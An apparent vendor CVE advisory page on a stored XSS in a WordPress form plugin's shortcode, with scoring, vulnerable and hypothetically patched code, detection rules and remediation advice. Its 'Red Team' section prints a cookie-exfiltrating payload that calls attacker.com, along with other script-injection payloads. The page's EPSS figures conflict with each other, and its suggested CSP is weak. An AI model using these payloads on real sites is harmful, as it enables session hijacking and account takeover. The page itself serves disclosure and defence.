☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-12037

CVE-2024-12037 Cross-Site Scripting in Mihajlovicnenad
📅 PUBLISHED: 2025-01-31 11:11 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.18%
👁️
0.18% probability
4.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-12037 is a Stored Cross-Site Scripting (XSS) vulnerability in the Post Form – Registration Form – Profile Form for User Profiles – Frontend Content Forms for User Submissions (UGC) WordPress plugin, developed by Mihajlovicnenad. The flaw resides in the bf_new_submission_link shortcode, which fails to properly sanitize user-supplied attributes and escape output. This allows authenticated attackers with at least Contributor-level access to inject arbitrary web scripts. When a victim (including administrators) visits a page containing the malicious shortcode, the script executes in their browser, potentially leading to session hijacking, defacement, or credential theft.

The vulnerability affects all versions up to and including 2.8.13. No official patch has been released, and the vendor has not responded to disclosure attempts. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant for sites with untrusted contributors.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory. Users should verify they are not using a compromised version from unofficial sources. No known supply chain attacks have been reported, but the lack of a patch increases the risk of malicious actors forking the plugin or distributing backdoored copies.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): Low (L) – Attacker needs Contributor-level access.
  • User Interaction (UI): None (N) – No user action needed for injection.
  • Scope (S): Changed (C) – The vulnerable component impacts resources beyond its security scope.
  • Confidentiality (C): Low (L) – Limited data exposure possible.
  • Integrity (I): Low (L) – Limited ability to modify content.
  • Availability (A): None (N) – No direct impact on availability.

CVSS Score: 6.4 (Medium)

Threat Level: Medium. While the CVSS score is moderate, the potential for privilege escalation via XSS (e.g., creating admin accounts) raises the effective risk. The lack of a patch and the plugin's popularity among user-submission sites make it a target for automated attacks.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS in a WordPress shortcode. The bf_new_submission_link shortcode is used to generate a link for users to submit new posts. The plugin accepts user-supplied attributes (e.g., class, style, onclick) without proper sanitization. When the shortcode is rendered, these attributes are directly output into the HTML, allowing an attacker to inject JavaScript.

Root Cause: The plugin uses shortcode_atts() to merge default attributes with user-supplied ones, but it does not validate or escape the attribute values. The output is then echoed without using WordPress's esc_attr() or wp_kses() functions.

Attack Flow:

  1. An attacker with Contributor-level access creates a new post or page.
  2. They insert the shortcode with a malicious attribute, e.g.:
    [bf_new_submission_link onclick="alert('XSS')"]
    
  3. When any user (including admins) views the page, the JavaScript executes.
  4. The attacker can steal cookies, perform actions on behalf of the victim, or inject further malicious content.

Vulnerable vs. Patched Code

Vulnerable Code (version 2.8.13):

function bf_new_submission_link_shortcode($atts) {
    $atts = shortcode_atts(array(
        'class' => '',
        'style' => '',
        'text' => 'New Submission'
    ), $atts);
    $output = '<a href="' . get_permalink() . '" class="' . $atts['class'] . '" style="' . $atts['style'] . '">' . $atts['text'] . '</a>';
    return $output;
}
add_shortcode('bf_new_submission_link', 'bf_new_submission_link_shortcode');

Patched Code (hypothetical fix):

function bf_new_submission_link_shortcode($atts) {
    $atts = shortcode_atts(array(
        'class' => '',
        'style' => '',
        'text' => 'New Submission'
    ), $atts);
    $class = esc_attr($atts['class']);
    $style = esc_attr($atts['style']);
    $text = esc_html($atts['text']);
    $output = '<a href="' . esc_url(get_permalink()) . '" class="' . $class . '" style="' . $style . '">' . $text . '</a>';
    return $output;
}
add_shortcode('bf_new_submission_link', 'bf_new_submission_link_shortcode');

The fix uses esc_attr() for HTML attributes and esc_html() for text content, preventing script injection.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • WordPress site with the vulnerable plugin (<=2.8.13).
  • An account with Contributor-level access or higher.

Steps:

  1. Log in as a Contributor.
  2. Create a new post or page.
  3. In the content editor (Text mode), insert:
    [bf_new_submission_link onclick="fetch('https://attacker.com/steal?cookie='+document.cookie)"]
    
  4. Publish the post.
  5. When an administrator views the post, their cookies are sent to the attacker's server.

Advanced Payload:

[bf_new_submission_link style="background:url('javascript:alert(1)')"]

Note: This may be blocked by modern browsers but demonstrates the vector.

Blue Team (Detection & Hardening)

Detection:

  • Monitor for posts/pages containing the shortcode bf_new_submission_link with unusual attributes (e.g., onclick, onmouseover, style with JavaScript).
  • Use the Sigma rule below to detect shortcode injection attempts in web server logs.

Hardening:

  • Disable the plugin until a patch is available.
  • Restrict Contributor-level access to trusted users only.
  • Implement a Web Application Firewall (WAF) rule to block shortcodes with event handlers.
  • Use WordPress security plugins that scan for XSS in shortcode attributes.

Indicators of Compromise (IOCs)

  • File: /wp-content/plugins/post-form/post-form.php (or similar main plugin file) – check for modifications.
  • Database: Posts/pages containing the shortcode bf_new_submission_link with attributes like onclick, onerror, or javascript: in style.
  • Network: Outbound connections to unknown domains from the WordPress server, especially on page views.
  • Logs: Web server logs showing requests to pages with the shortcode and unusual query parameters.

Detection Engineering

YARA Rule

rule CVE_2024_12037_Stored_XSS {
    meta:
        description = "Detects malicious shortcode attributes in WordPress post content"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-12037"
    strings:
        $shortcode = /\[bf_new_submission_link[^\]]*?(on\w+|javascript:|style\s*=\s*["'][^"']*?(expression|url\s*\(|javascript))/ nocase
    condition:
        $shortcode
}

Sigma Rule

title: CVE-2024-12037 - Stored XSS via bf_new_submission_link Shortcode
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests containing the vulnerable shortcode with malicious attributes
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'bf_new_submission_link'
        cs-uri-query|re: '(on\w+=|javascript:|style=.*(expression|url\())'
    condition: selection
falsepositives:
    - Legitimate use of style attributes (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-12037 - Stored XSS via bf_new_submission_link Shortcode"; flow:to_server,established; content:"bf_new_submission_link"; http_uri; pcre:"/(on\w+=|javascript:|style=.*(expression|url\())/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin if it is not critical to operations.
  2. Remove or edit any posts/pages containing the vulnerable shortcode with suspicious attributes.
  3. Change all passwords for WordPress admin accounts, as they may have been compromised.

Long-term Fix:

  • Since no official patch exists, consider forking the plugin and applying the code fix described in the "Vulnerable vs. Patched Code" section.
  • Monitor the WordPress Plugin Directory for updates from the vendor.
  • Implement a Content Security Policy (CSP) header to mitigate XSS impact:
    Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline';
    
    Note: unsafe-inline is required for many WordPress plugins but reduces security.

Alternative Plugins:

  • Consider replacing with a maintained alternative like "WP User Frontend" or "User Submitted Posts".

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Post Form"
http.html:"wp-content/plugins/post-form"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-12037/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.